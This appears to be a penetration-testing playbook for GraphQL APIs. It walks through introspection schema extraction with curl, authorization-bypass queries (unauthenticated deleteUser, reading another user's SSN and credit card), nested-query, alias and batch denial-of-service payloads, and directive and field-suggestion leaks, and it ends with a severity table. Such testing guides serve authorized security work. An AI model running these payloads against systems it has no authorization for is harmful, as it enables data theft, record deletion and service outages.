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attack-graphql

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GraphQL vulnerability testing — introspection exposure, complexity DoS, batch abuse, mutation auth bypass

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GraphQL Vulnerability Testing

Objective

Exploit GraphQL-specific vulnerabilities including schema exposure, query complexity abuse, and authorization bypass.

Testing Methodology

Phase 1: Automated Testing

# Full GraphQL test suite
attack_script graphql_tester "https://TARGET/graphql" \
  -H "Authorization:Bearer TOKEN" \
  --json-output

# Custom depth/batch
attack_script graphql_tester "https://TARGET/graphql" \
  --depth 15 --batch-count 100

Phase 2: Introspection Query

# Full schema extraction
curl -s -X POST https://TARGET/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name type { name } } } mutationType { fields { name args { name type { name } } } } queryType { fields { name } } } }"}'

If introspection is enabled, map all types, queries, mutations, and subscriptions.

Phase 3: Authorization Bypass

# Access admin queries without auth
{ adminUsers { id email role } }

# Mutation without auth
mutation { deleteUser(id: "123") { success } }

# Access other user's data
{ user(id: "OTHER_USER_ID") { email ssn creditCard } }

Phase 4: Complexity / DoS

# Deeply nested query
{ users { posts { comments { author { posts { comments { author { id } } } } } } } }

# Alias multiplication
{ a1: __typename a2: __typename ... a100: __typename }

# Batch queries (array)
[{"query":"{ __typename }"}, {"query":"{ __typename }"}, ... x50]

Phase 5: Directive Abuse

# Skip/include directive for info leakage
{ user(id: "1") { name email @skip(if: false) secretField @include(if: true) } }

# Field suggestions (error-based enum)
{ user { nonExistentField } }
# Error may suggest: "Did you mean: password, secret_key?"

What Constitutes a Finding

FindingSeverity
Introspection enabled (schema exposed)Medium (P3)
Admin mutations accessible without authCritical (P1)
Other user data accessible (IDOR)High (P2)
DoS via complexity (server timeout/crash)Medium (P3)
Batch queries bypass rate limitingMedium (P3)

Evidence Requirements

  • GraphQL endpoint URL
  • Query/mutation sent
  • Response showing unauthorized data
  • For introspection: schema dump (types, mutations, queries)
  • For DoS: response timing proving server overload

Tools

  • attack_script graphql_tester — automated introspection + DoS + batch testing

References